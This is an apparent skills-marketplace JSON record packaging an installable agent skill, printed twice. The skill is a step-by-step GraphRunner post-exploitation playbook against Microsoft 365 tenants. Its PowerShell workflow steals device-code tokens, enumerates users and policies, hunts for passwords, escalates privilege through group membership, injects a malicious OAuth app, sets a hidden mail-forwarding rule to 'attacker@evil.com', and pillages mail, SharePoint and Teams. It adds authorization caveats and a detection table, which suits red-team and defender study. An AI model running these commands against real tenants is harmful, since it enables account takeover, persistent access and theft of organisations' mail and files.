[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71BEK2QEDG79BV15AR2CSPH":3,"skill-same:01M71BEK2QEDG79BV15AR2CSPH":78},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":49,"linkOnly":50,"markdownContent":51,"markdownBody":52,"frontMatter":53,"refName":57,"commitSha":58,"skillDirectory":59,"forksCount":60,"repositoryHtmlUrl":61,"repositoryHomepageUrl":6,"ownerHtmlUrl":62,"ownerBlogUrl":6,"ownerDescription":63,"updatedAt":64,"install":65,"resources":77},"01M71BEK2QEDG79BV15AR2CSPH","cyber-post-exploiting-microsoft-graph-with-graphrunner",null,"Perform recon, persistence, privilege escalation, and data search via the Microsoft Graph API using GraphRunner.","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-post-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"graphrunner","post exploiting microsoft graph with graphrunner","graph","with","post","microsoft","cyber post exploiting microsoft graph with graphrunner","microsoft graph","subdomain","m365","oauth-abuse","api","team","access","false","cybersecurity","account-manipulation","t1098","search","recon","2026-11-10 10:12:30",false,"---\nname: cyber-post-exploiting-microsoft-graph-with-graphrunner\ndescription: \"Perform recon, persistence, privilege escalation, and data search via the Microsoft Graph API using GraphRunner.\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: false\norigin_frontmatter: \"name: post-exploiting-microsoft-graph-with-graphrunner | description: Perform recon, persistence, privilege escalation, and data search via the Microsoft Graph API using GraphRunner. | domain: cybersecurity | subdomain: identity-access-management | tags: | - red-team | - microsoft-graph | - graphrunner | - entra-id | - oauth-abuse | - account-manipulation | - post-exploitation | - m365 | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.AA-05 | mitre_attack: | - T1098\"\nhide: true\n---\n\n> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n","> Defensive\u002Fanalysis cyber skill. Source: mukul975\u002FAnthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.\n\n# Post-Exploiting Microsoft Graph with GraphRunner\n\n> **Authorized use only:** GraphRunner performs offensive actions against live Microsoft 365 \u002F Entra ID tenants — deploying OAuth apps, cloning groups, adding members, and reading mailboxes, SharePoint, and Teams. Run it only against tenants you own or are explicitly authorized in writing to test. Unauthorized use is illegal.\n\n## Overview\n\nGraphRunner (Beau Bullock \u002F Black Hills Information Security) is a PowerShell post-exploitation toolset built entirely on the **Microsoft Graph API**. Given a foothold token, it performs recon, establishes persistence, escalates privilege, and pillages M365 data — all through Graph, which blends in with normal traffic and bypasses many endpoint controls. It is the natural follow-on to credential\u002Ftoken theft (e.g., device-code phishing or ROADtools): once you hold Graph access, GraphRunner operationalizes it.\n\nThe toolset is a single PowerShell module (`GraphRunner.ps1`) exposing dozens of functions grouped by purpose:\n\n- **Authentication** — `Get-GraphTokens` (device-code login), `Invoke-RefreshGraphTokens`, `Invoke-AutoTokenRefresh`, `Invoke-ImportTokens`, `Invoke-RefreshToSharePointToken`.\n- **Recon & Enumeration** — `Invoke-GraphRecon` (tenant\u002Fuser permission summary), `Invoke-DumpCAPS` (conditional-access policies), `Invoke-DumpApps` (app registrations \u002F consent grants), `Get-AzureADUsers`, `Get-SecurityGroups`, `Get-UpdatableGroups`, `Get-DynamicGroups`, `Invoke-SearchUserAttributes`, `Invoke-GraphOpenInboxFinder`, `Find-PermissiveCalendars`.\n- **Persistence** — `Invoke-InjectOAuthApp` (deploy a malicious OAuth app for consent-grant persistence), `Invoke-CreateInboxForwardingRule`.\n- **Privilege Escalation** — `Get-UpdatableGroups`, `Invoke-AddGroupMember`, `Invoke-SecurityGroupCloner`, `Invoke-InviteGuest`.\n- **Pillage \u002F Data Search** — `Invoke-SearchMailbox`, `Invoke-SearchSharePointAndOneDrive`, `Invoke-SearchTeams`, `Get-TeamsChat`, `Invoke-DriveFileDownload`.\n- **Master runner** — `Invoke-GraphRunner` runs an automated recon-and-pillage pass; `List-GraphRunnerModules` prints all modules.\n\nThis maps to MITRE ATT&CK **T1098 — Account Manipulation**: GraphRunner manipulates accounts, groups, and OAuth grants (adding members, injecting apps, cloning groups, inviting guests) to maintain and escalate access in the cloud identity plane.\n\n## When to Use\n\n- After obtaining a valid Microsoft Graph access\u002Frefresh token during an authorized M365\u002FEntra engagement.\n- When mapping tenant permissions, conditional-access policies, and OAuth app exposure.\n- When establishing cloud persistence via OAuth consent grants or inbox forwarding (in scope).\n- When demonstrating privilege escalation through updatable\u002Fdynamic groups.\n- When searching mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive data to evidence impact.\n\n## Prerequisites\n\n- Written authorization and scope for the target tenant.\n- A Graph token foothold (from `Get-GraphTokens` device-code login, or imported tokens).\n- PowerShell 5.1+ or PowerShell 7 (cross-platform).\n\n```powershell\n# Clone and import the module\ngit clone https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner.git\ncd GraphRunner\nImport-Module .\\GraphRunner.ps1\n\n# List every available module\nList-GraphRunnerModules\n```\n\n## Objectives\n\n- Authenticate to Microsoft Graph and maintain tokens via refresh.\n- Enumerate tenant users, groups, CA policies, and OAuth apps.\n- Identify updatable groups and demonstrate privilege escalation.\n- Establish persistence via an injected OAuth app and\u002For inbox forwarding rule.\n- Search mailboxes, SharePoint\u002FOneDrive, and Teams for sensitive content.\n\n## MITRE ATT&CK Mapping\n\n| ID | Tactic | Official Technique Name | Role in this skill |\n|----|--------|-------------------------|--------------------|\n| T1098 | Persistence | Account Manipulation | Add group members, clone groups, invite guests to retain\u002Fescalate access |\n| T1098.003 | Privilege Escalation | Account Manipulation: Additional Cloud Roles | Adding members to privileged\u002Fupdatable groups |\n| T1528 | Credential Access | Steal Application Access Token | `Get-GraphTokens` device-code token acquisition |\n| T1087.004 | Discovery | Account Discovery: Cloud Account | `Get-AzureADUsers`, `Invoke-SearchUserAttributes` |\n| T1114.002 | Collection | Email Collection: Remote Email Collection | `Invoke-SearchMailbox` over Graph |\n| T1606.002 | Credential Access | Forge Web Credentials: SAML\u002FOAuth | `Invoke-InjectOAuthApp` consent-grant persistence |\n\n## Workflow\n\n### Step 1: Authenticate and refresh tokens\n\n```powershell\n# Device-code login; complete the code at microsoft.com\u002Fdevicelogin\nGet-GraphTokens\n\n# Refresh the access token when it expires\nInvoke-RefreshGraphTokens\n\n# Keep tokens fresh automatically during a long operation\nInvoke-AutoTokenRefresh\n\n# Import tokens captured elsewhere (e.g., from ROADtools)\nInvoke-ImportTokens -AccessToken $at -RefreshToken $rt\n```\n\n### Step 2: Recon and enumeration\n\n```powershell\n# High-level tenant + current-user permission recon\nInvoke-GraphRecon -Tokens $tokens -PermissionEnum\n\n# Dump conditional-access policies\nInvoke-DumpCAPS -Tokens $tokens -ResolveGuids\n\n# Enumerate app registrations, service principals, and consent grants\nInvoke-DumpApps -Tokens $tokens\n\n# Enumerate all users and security groups\nGet-AzureADUsers -Tokens $tokens -OutFile users.txt\nGet-SecurityGroups -Tokens $tokens\n```\n\n### Step 3: Search user attributes for secrets\n\n```powershell\n# Hunt across all user attributes for terms like \"password\"\nInvoke-SearchUserAttributes -Tokens $tokens -SearchTerm \"password\"\n```\n\n### Step 4: Privilege escalation via updatable groups\n\n```powershell\n# Find groups the current principal can modify directly\nGet-UpdatableGroups -Tokens $tokens\n\n# Add yourself (or a controlled account) to a target group\nInvoke-AddGroupMember -Tokens $tokens -GroupId \u003Cgroup-guid> -UserId \u003Cuser-guid>\n\n# Clone a privileged security group's membership into a new group you control\nInvoke-SecurityGroupCloner -Tokens $tokens\n```\n\n### Step 5: Persistence\n\n```powershell\n# Deploy a malicious OAuth app and walk the consent-grant flow for persistence\nInvoke-InjectOAuthApp -AppName \"Demo App\" -ReplyUrl \"https:\u002F\u002Flocalhost\" -Scope \"openid profile offline_access Mail.Read\"\n\n# Create a hidden inbox forwarding rule on a target mailbox\nInvoke-CreateInboxForwardingRule -Tokens $tokens -ForwardTo \"attacker@evil.com\" -RuleName \"Sync\"\n```\n\n### Step 6: Pillage M365 data\n\n```powershell\n# Search a mailbox (or all reachable mailboxes) for sensitive terms\nInvoke-SearchMailbox -Tokens $tokens -SearchTerm \"password\" -MessageCount 100 -OutFile mail.csv\n\n# Search SharePoint and OneDrive content\nInvoke-SearchSharePointAndOneDrive -Tokens $tokens -SearchTerm \"secret\"\n\n# Download a discovered file\nInvoke-DriveFileDownload -Tokens $tokens -DriveItemIDs \"\u003Cdrive-id>:\u003Citem-id>\" -FileName loot.docx\n\n# Search Teams messages\nInvoke-SearchTeams -Tokens $tokens -SearchTerm \"vpn\"\n```\n\n### Step 7: Automated full pass\n\n```powershell\n# Run the orchestrated recon + pillage workflow end to end\nInvoke-GraphRunner -Tokens $tokens\n```\n\n## Tools and Resources\n\n| Tool | Purpose | Primary Source |\n|------|---------|----------------|\n| GraphRunner (repo) | PowerShell Graph post-exploitation toolset | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner |\n| GraphRunner wiki | Per-module usage guide | https:\u002F\u002Fgithub.com\u002Fdafthack\u002FGraphRunner\u002Fwiki |\n| BHIS GraphRunner blog | Tool release + walkthrough | https:\u002F\u002Fwww.blackhillsinfosec.com\u002Fintroducing-graphrunner\u002F |\n| Microsoft Graph API | API reference for the underlying calls | https:\u002F\u002Flearn.microsoft.com\u002Fgraph\u002Fapi\u002Foverview |\n| ROADtools | Upstream token acquisition \u002F device-code phishing | https:\u002F\u002Fgithub.com\u002Fdirkjanm\u002FROADtools |\n\n## OPSEC and Detection Considerations\n\nGraphRunner is designed to blend with legitimate Graph traffic, but its actions leave a trail defenders can hunt:\n\n| GraphRunner action | Telemetry source | What the defender sees |\n|--------------------|------------------|------------------------|\n| `Get-GraphTokens` (device code) | Entra sign-in logs | Device-code grant from the Azure CLI client (04b07795-...) on an unusual device\u002FIP |\n| `Invoke-InjectOAuthApp` | Entra audit logs | \"Add application\" + \"Consent to application\" events with broad delegated scopes |\n| `Invoke-AddGroupMember` \u002F `Invoke-SecurityGroupCloner` | Entra audit logs | \"Add member to group\" on privileged\u002Frole-assignable groups |\n| `Invoke-CreateInboxForwardingRule` | M365 audit + mailbox rules | New inbox rule forwarding externally (often hidden) |\n| `Invoke-SearchMailbox` \u002F `Invoke-SearchSharePointAndOneDrive` | MicrosoftGraphActivityLogs | High-volume `$search` calls against `\u002Fmessages` and Drive endpoints |\n\nTo reduce noise during an authorized engagement, scope searches with `-MessageCount`, avoid role-assignable group changes unless required, and always remove injected apps with `Invoke-DeleteOAuthApp` and forwarding rules during cleanup.\n\n## Validation Criteria\n\n- [ ] Graph tokens obtained via `Get-GraphTokens` and refreshed successfully.\n- [ ] Tenant recon completed (`Invoke-GraphRecon`, `Invoke-DumpCAPS`, `Invoke-DumpApps`).\n- [ ] Users and security groups enumerated.\n- [ ] User attributes searched for embedded secrets.\n- [ ] Updatable groups identified and a controlled privilege escalation demonstrated.\n- [ ] Persistence established (OAuth app injection and\u002For inbox forwarding) where in scope.\n- [ ] Mailbox, SharePoint\u002FOneDrive, and Teams searched for sensitive data.\n- [ ] All actions, object IDs, and evidence logged for the engagement report and cleanup.\n",{"hide":54,"name":5,"source":55,"license":15,"description":7,"authorized_lab":50,"origin_frontmatter":56},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: post-exploiting-microsoft-graph-with-graphrunner | description: Perform recon, persistence, privilege escalation, and data search via the Microsoft Graph API using GraphRunner. | domain: cybersecurity | subdomain: identity-access-management | tags: | - red-team | - microsoft-graph | - graphrunner | - entra-id | - oauth-abuse | - account-manipulation | - post-exploitation | - m365 | version: '1.0' | author: mahipal | license: Apache-2.0 | nist_csf: | - PR.AA-05 | mitre_attack: | - T1098","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-post-exploiting-microsoft-graph-with-graphrunner",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":66,"prompt":76,"zipAvailable":54},[67,70,73],{"tool":68,"command":69},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-post-exploiting-microsoft-graph-with-graphrunner",{"tool":71,"command":72},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-post-exploiting-microsoft-graph-with-graphrunner",{"tool":74,"command":75},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-post-exploiting-microsoft-graph-with-graphrunner","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-post-exploiting-microsoft-graph-with-graphrunner\u002FSKILL.md",[],[79,102,126,154,181,200],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":49},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[87,88,32,89,90,91,92,93,94,95,96,97,98,99,100,101],"zoom out","zoom","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":106,"categories":107,"keywords":108,"publishedAt":49},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[109,110,89,111,112,113,114,115,116,117,118,95,119,97,120,121,122,123,124,125],"yuri shura","parallel","architecture review","planning","for","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":135,"publishedAt":49},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[132],{"categoryNo":133,"categoryName":134,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通",[136,137,138,139,140,141,142,143,144,97,145,146,147,148,149,150,151,113,152,153],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":155,"name":156,"nameZh":6,"description":157,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":166,"publishedAt":49},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[160,163],{"categoryNo":161,"categoryName":162,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":164,"categoryName":165,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000030","开发工程师",[167,99,168,136,89,169,170,171,113,172,173,174,175,176,177,178,179,180,95,97],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":182,"name":183,"nameZh":6,"description":184,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":185,"categories":186,"keywords":187,"publishedAt":49},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[188,189,190,191,192,193,194,195,196,97,197,120,198,199],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":201,"name":202,"nameZh":6,"description":203,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":83,"licenseFileUrl":6,"sourceHtmlUrl":204,"categories":205,"keywords":218,"publishedAt":49},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[206,209,212,215],{"categoryNo":207,"categoryName":208,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":210,"categoryName":211,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":213,"categoryName":214,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":216,"categoryName":217,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000036","内容创作者",[219,220,221,97,120,222,89,223,114,95,224],"writing","writing skills","new","work","editing","Existing"]